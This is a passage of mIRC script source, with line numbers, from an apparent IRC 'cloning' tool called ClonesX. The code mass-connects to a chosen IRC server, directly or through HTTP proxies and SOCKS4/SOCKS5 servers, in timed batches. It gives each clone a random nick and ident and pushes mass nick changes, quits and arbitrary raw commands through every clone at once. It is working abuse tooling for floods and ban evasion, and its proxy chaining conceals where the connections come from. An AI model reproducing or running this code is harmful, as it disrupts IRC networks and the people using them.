while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
637.
var %p.cloning.adgr1.nicks = $ifmatch
638.
if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
639.
var %i = %i + 1
640.
}
641.
}
642.
}
643.
alias -l p.cloning.jj {
644.
if ($did(p.cloning,47).text == Normal) { p.clon.do }
645.
elseif ($did(p.cloning,47).text == Proxy) {
646.
if (!$did(p.cloning,4,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with them. | p.cloning.recr 1 | return }
647.
p.clon.do
648.
}
649.
elseif ($did(p.cloning,47).text == Socks 4) {
650.
if (!$did(p.cloning,69,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 4. | p.cloning.recr 1 | return }
651.
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol doesn't admit domain names (ip's only), /dns $did($dname,10).text and apply the result here ;) | return }
652.
p.clon.do
653.
}
654.
elseif ($did(p.cloning,47).text == Socks 5) {
655.
if (!$did(p.cloning,78,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 5. | p.cloning.recr 1 | return }
656.
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol does admit domain names, but in this version of ClonesX it's bot implemented, so, /dns $did($dname,10).text and apply the result here ;) | return }
657.
p.clon.do
658.
}
659.
}
660.
alias -l p.clon.dodo {
661.
if ($dialog(p.cloning)) && (!$sock($$1)) {
662.
p.cloning.do.w $$1 0,0
663.
;inc %p.cloning.n
664.
.sockopen $$1-
665.
if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
666.
if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
667.
if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
668.
if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
669.
p.clon.stats %p.clon.dodo $did(p.cloning,10) $did(p.cloning,12)
670.
}
671.
}
672.
alias -l p.clon.do {
673.
if ($dialog(p.cloning)) {
674.
p.cloning.recr 0
675.
var %p.cloning.delay = $did(p.cloning,391).text
676.
if ($did(p.cloning,47).text == Normal) {
677.
var %i = 1
678.
while (%i <= $did(p.cloning,50).text) {
679.
inc %p.cloning.t
680.
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10) $did(p.cloning,12)
681.
var %i = %i + 1
682.
}
683.
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
684.
p.cloning.recr 0
685.
}
686.
687.
elseif ($did(p.cloning,47).text == Proxy) {
688.
var %i = 1
689.
while (%i <= $did(p.cloning,50).text) {
690.
if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
691.
elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
692.
else { p.cloning.fal No hay proxyes. Configúralo. | return }
693.
inc %p.cloning.t
694.
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
695.
var %i = %i + 1
696.
}
697.
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
698.
p.cloning.recr 0
699.
}
700.
701.
elseif ($did(p.cloning,47).text == Socks 4) {
702.
var %i = 1
703.
while (%i <= $did(p.cloning,50).text) {
704.
if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
705.
elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
706.
else { p.cloning.fal No hay wingates. Configúralo. | return }
707.
inc %p.cloning.t
708.
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
709.
var %i = %i + 1
710.
}
711.
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
712.
p.cloning.recr 0
713.
}
714.
715.
elseif ($did(p.cloning,47).text == Socks 5) {
716.
var %i = 1
717.
while (%i <= $did(p.cloning,50).text) {
718.
if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
719.
elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
720.
else { p.cloning.fal No hay wingates. Configúralo. | return }
721.
inc %p.cloning.t
722.
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
723.
var %i = %i + 1
724.
}
725.
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
726.
p.cloning.recr 0
727.
}
728.
}
729.
}
730.
alias -l p.cloning.recr {
731.
if ($dialog(p.cloning)) {
732.
if ($$1 == 0) {
733.
did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
734.
did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
735.
}
736.
if ($$1 == 1) {
737.
did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
738.
did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
739.
if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) && ($abs($did(p.cloning,50)) != 0) {
740.
if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
741.
elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
742.
}
743.
}
744.
}
745.
}
746.
alias -l p.clon.stats {
747.
if ($dialog(p.cloning)) {
748.
;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
749.
;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
750.
did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
751.
did -o p.cloning 90 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
752.
did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
753.
did -o p.cloning 93 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
754.
;echo -s DEBUG: Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-) y Sockets: $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
755.
;did -o p.cloning 43 1 %p.cloning.n
756.
if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
757.
}
758.
}
759.
on 1:DIALOG:p.cloning:init:0: {
760.
.disable #p.cloning.DdnsD
761.
did -c $dname 31
762.
;.remove CloneX.ini | .remove CloneXo.ini
763.
if ($hget(p.cloning.a)) { hfree p.cloning.a }
764.
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
765.
did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
766.
if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
767.
did -c $dname 35 | did -i $dname 37 1 Aleatory | did -i $dname 37 2 Lemming | did -i $dname 37 3 Smurf | did -c $dname 37 1
768.
did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
769.
var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
770.
var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
771.
did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
772.
p.cloning.conEcheck
773.
if ($file(kick.reasons) != $null) {
774.
loadbuf -o $dname 23 kick.reasons
775.
did -z $dname 23
776.
}
777.
if ($file(topic.proxy) != $null) {
778.
loadbuf -o $dname 91 topic.proxy
779.
did -z $dname 91
780.
}
781.
if ($file(protected.tags) != $null) {
782.
loadbuf -o $dname 51 protected.tags
783.
did -z $dname 51
784.
}
785.
if ($file(protected.nicks) != $null) {
786.
loadbuf -o $dname 27 protected.nicks
787.
did -z $dname 27
788.
}
789.
if ($file(proxy.perform) != $null) {
790.
loadbuf -o $dname 33 proxy.perform
791.
}
792.
}
793.
on 1:SOCKREAD:p.cloning.*: {
794.
if ($dialog(p.cloning)) {
795.
var %p.cloning.server = $did(p.cloning,10)
796.
var %p.cloning.port = $did(p.cloning,12)
797.
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
798.
else {
799.
800.
if ($did(p.cloning,47).text == Socks 4) {
801.
if ($sock($sockname).mark != 1) {
802.
sockread &p.cloning.bread
803.
if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
804.
if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
805.
}
806.
}
807.
if ($did(p.cloning,47).text == Socks 5) {
808.
if ($sock($sockname).mark != 1) {
809.
sockread &p.cloning.bread
810.
;echo -s bvar: $bvar(&p.cloning.bread,1,10)
811.
if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
812.
;echo -s Protocolo Aceptado. Iniciando conexion.
813.
var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
814.
var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
815.
bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
816.
sockwrite $sockname &p.cloning.ssenndd
817.
;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
818.
}
819.
if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
820.
if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
821.
if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
822.
if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
823.
if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
824.
}
825.
}
826.
sockread %p.cloning.read
827.
var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
828.
var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
829.
var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
830.
;echo -s Rd: %p.cloning.read
831.
if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
832.
if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds }
833.
if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
834.
}
835.
elseif (!$abs(%p.cloning.sec2)) {
836.
if (%p.cloning.sec2 == NICK) {
837.
if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
838.
var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
839.
var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
840.
if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
841.
if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }
842.
if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }
843.
p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
844.
p.cloning.nicks.act
845.
}
846.
}
847.
}
848.
if (%p.cloning.sec2 == 001 && $did(p.cloning,31).state == 1) {
849.
var %x = 1
850.
while ($did(p.cloning,33,%x) != $null) {
851.
sockwrite -n $sockname $replace($did(p.cloning,33,%x),<nick>,$gettok(%p.cloning.read,2,44))
852.
inc %x
853.
}
854.
}
855.
if (%p.cloning.sec1 == PING) {
856.
sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
857.
}
858.
}
859.
}
860.
}
861.
alias -l p.cloning.con.com {
862.
;p.cloning.do.rw.o $$1
863.
;p.cloning.do.rw $$1
864.
if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
865.
}
866.
867.
on 1:SOCKOPEN:p.cloning.*: {
868.
if ($dialog(p.cloning)) {
869.
var %p.cloning.server = $did(p.cloning,10)
870.
var %p.cloning.port = $did(p.cloning,12)
871.
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
872.
else {
873.
;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
874.
if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
875.
elseif ($did(p.cloning,47).text == Proxy) {
876.
sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
877.
sockwrite $sockname $CRLF
878.
.timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
879.
}
880.
elseif ($did(p.cloning,47).text == Socks 4) {
881.
var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
882.
var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
883.
var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
884.
var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
885.
886.
;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF
887.
bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
888.
sockwrite $sockname &p.cloning.ssenndd
889.
;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
890.
}
891.
elseif ($did(p.cloning,47).text == Socks 5) {
892.
bset &p.cloning.ssenndd 1 5 1 0
893.
; -t?
894.
sockwrite $sockname &p.cloning.ssenndd
895.
}
896.
897.
}
898.
899.
}
900.
}
901.
902.
903.
alias -l p.cloning.cmds {
904.
if ($dialog(p.cloning)) {
905.
p.cloning.nicks.act
906.
if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
907.
did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
908.
did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 | did -e p.cloning 328
909.
did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
910.
did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
911.
did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
912.
did -e p.cloning 367 | did -e p.cloning 351 | did -e p.cloning 350 | did -e p.cloning 349 | did -e p.cloning 371
913.
did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
914.
}
915.
else {
916.
if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
917.
did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
918.
did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
919.
did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
920.
did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 | did -b p.cloning 312
921.
did -b p.cloning 308 | did -b p.cloning 309 | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
922.
did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
923.
did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 | did -b p.cloning 328
924.
did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
925.
did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
926.
did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
927.
did -b p.cloning 367 | did -b p.cloning 351 | did -b p.cloning 350 | did -b p.cloning 349 | did -b p.cloning 371
928.
did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
929.
}
930.
}
931.
}
932.
}
933.
alias -l p.cloning.runcmd {
934.
if ($dialog(p.cloning)) {
935.
if ($did(p.cloning,334).state == 1) {
936.
var %i = 1
937.
while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
938.
var %p.cloning.runcmd.nick = $ifmatch
939.
if ($$1 == nick) {
940.
if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }
941.
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }
942.
}
943.
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :LOL CAKES }
944.
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
945.
var %i = %i + 1
946.
}
947.
return
948.
}
949.
elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
950.
elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
951.
elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
952.
elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
953.
}
954.
var %i = 1
955.
while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
956.
var %p.cloning.runcmd.nick = $ifmatch
957.
if ($$1 == nick) {
958.
if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
959.
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
960.
}
961.
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :BAI }
962.
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
963.
var %i = %i + 1
964.
}
965.
}
966.
alias -l p.cloning.list.nicksch {
967.
if ($dialog(p.cloning)) {
968.
var %i = 1
969.
var %o = 1
970.
while ($p.cloning.r(%i)) {
971.
var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
972.
var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
973.
if (%p.cloning.list.nicksch.sta) {
974.
if ($exists($$1) == $false) { p.cloning.fal Archivo no encontrado! }
975.
var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
976.
if (%p.cloning.list.nicksch.nnick) {
977.
if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick Ident }
978.
sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
979.
}
980.
var %o = %o + 1
981.
}
982.
var %i = %i + 1
983.
}
984.
}
985.
}
986.
alias -l p.cloning.list.save {
987.
if ($dialog(p.cloning)) {
988.
var %i = 1
989.
.remove $$1
990.
while ($did(p.cloning,339,%i).text) {
991.
write $$1 $ifmatch
992.
var %i = %i + 1
993.
}
994.
}
995.
}
996.
alias -l p.cloning.nicks.act {
997.
if ($dialog(p.cloning)) {
998.
did -r p.cloning 339
999.
var %i = 1
1000.
var %o = 1
1001.
while ($p.cloning.r(%i)) {
1002.
var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
1003.
var %p.cloning.nicks = $gettok($ifmatch,2,44)
1004.
if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
1005.
var %i = %i + 1
1006.
}
1007.
}
1008.
}
1009.
alias -l p.cloning.usIn {
1010.
if ($dialog(p.cloning)) {
1011.
if (%p.cloning.Nlist.conn == 1) {
1012.
inc %p.cloning.Nlist.conn.n
1013.
var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
1014.
var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
1015.
if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
1016.
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
1017.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1018.
var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z)))))
1019.
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
1020.
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
1021.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1022.
}
1023.
else {
1024.
if ($did(p.cloning,35).state == 1) {
1025.
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
1026.
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
1027.
